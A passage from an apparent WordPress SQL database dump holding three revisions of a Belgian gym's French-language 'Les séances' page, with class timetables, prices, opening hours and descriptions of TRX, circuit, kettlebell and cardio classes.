5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:05', '2013-07-03 17:40:05', '', 11, 'http://www.crosstrainingcenter.be/?p=193', 0, 'revision', '', 0),
(194, 1, '2013-07-03 17:40:25', '2013-07-03 17:40:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 35%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:25', '2013-07-03 17:40:25', '', 11, 'http://www.crosstrainingcenter.be/?p=194', 0, 'revision', '', 0),
(195, 1, '2013-07-03 17:40:44', '2013-07-03 17:40:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 38%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:44', '2013-07-03 17:40:44', '', 11, 'http://www.crosstrainingcenter.be/?p=195', 0, 'revision', '', 0),
